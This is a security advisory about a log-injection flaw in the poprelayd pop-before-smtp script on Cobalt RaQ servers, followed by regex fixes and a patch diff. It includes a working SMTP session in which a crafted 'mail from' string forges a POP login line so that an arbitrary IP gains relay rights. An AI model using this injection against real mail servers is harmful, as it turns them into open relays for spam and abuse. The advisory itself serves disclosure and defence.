COMMAND
poprelayd
SYSTEMS AFFECTED
poprelayd
PROBLEM
Andrea Barisani found following. Poprelayd is a simple script
that scan /var/log/maillog for valid pop logins and updates a
hash db used by sendmail to permit relaying for those valid pop
users, this method is called "Pop-before-smtp".
The syslog string searched by the script is in this form for the
qpop server
/POP login by user \"[\-\_\w]+\" at \(.+\) ([0-9]\.]+)/)
On some cobalt raq3 servers (with the poprelayd add-on packet
installed) and in general on any system running the poprelayd
script with sendmail is possible to "inject" this string in the
syslog using sendmail logging. So anyone can insert a fake
string with his own IP wich will be parsed by poprelayd and that
will permit the use of sendmail as a relay.
On cobalts the presence of poprelayd is revealed by the modified
sendmail relaying denied message "Relaying denied. Please check
your mail first."
Example:
telnet dumbcobalt 25
Trying 123.123.123.123...
Connected to dumbcobalt
...
ehlo dumbcobalt
...
mail from:"POP login by user "admin" at (66.66.66.66) 66.66.66.66
@linux.org"
553 "POP login by user "admin" at (66.66.66.66) 66.66.66.66
@linux.org"...Domain name required
Now the IP 66.66.66.66 can do relay.
In fact, on dumbcobalt, in /var/log/maillog:
...reject=533 "POP login by user "admin" at (66.66.66.66) 66.66.66.66
@linux.org", size=0, class=0 ....etc etc...
[root@dumbcobalt /]# /usr/sbin/poprelayd -p
66.66.66.66 7
SOLUTION
Better to anchor the pattern match to the beginning of the line,
so that there is no way any program can trick poprelayd. For
example:
if ($s =~ /^\w+\s+\d+\s+\d+:\d+:\d+\s+[^: ]+ (imapd|pop3d)\[(\d+)\]: login: \S*\[(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\]/) {
($daemon, $pid, $clientip)= ($1, $2, $3);
add_to_db($clientip);
}
The above example is for US-style syslog timestamps, things might
be different elsewhere. Also, you need to make sure that your
syslogd is not accepting traffic from anywhere except a local
Unix-domain socket, since otherwise the attacker could forge a
syslog message directly.
Another workaround is to simply have your POP/IMAP daemons log to
their own facility (ie -- one of the locals).
Attached you'll find an experimental patch (apply to
/usr/local/sbin/poprelayd) to immediately correct the email relay
exploit. This patch is integrated into the current version 2.0
poprelayd RPM at:
ftp://ftp.cobaltnet.com/pub/experimental/RPMS/poprelayd-2.0-4.noarch.rpm
ftp://ftp.cobaltnet.com/pub/experimental/SRPMS/poprelayd-2.0-4.src.rpm
A supported fix to this email relay exploit will be integrated
into forthcoming security update packages for Qube and RaQ
products.
--- poprelayd-2.0-3 Mon Jul 9 10:29:40 2001
+++ poprelayd Mon Jul 9 10:27:27 2001
@@ -175,16 +175,19 @@
my $s = $_[0];
my @paddrs; # Packed IP addresses.
my @addrs; # ASCII addresses.
- my $junk;
# POP login by user "admin" at (10.9.28.29) 10.9.28.29
- if ($s =~ /POP login by user \"[\-\_\w]+\" at \(.+\) ([0-9\.]+)/) {
- return $1;
+ # ensure line ends at IP address. Filter on rejection codes
+ if ($s =~ /POP login by user \"[\-\_\w]+\" at \(.+\) ([0-9\.]+)\s*$/) {
+ my $authuser = $1;
+ return $authuser unless ($s =~ /reject=\d/i);
}
# imapd[11676]: Authenticated user=admin host=pyro.cobalt.com [10.9.28.29]
- if ($s =~ /Authenticated user=\S+ host=\S+ \[([\d\.]+)\]/) {
- return $1;
+ # ensure line ends at IP address. Filter on rejected syntax.
+ if ($s =~ /Authenticated user=\S+ host=\S+ \[([\d\.]+)\]\s*$/) {
+ my $authuser = $1;
+ return $authuser unless ($s =~ /unknown command/i);
}
return ();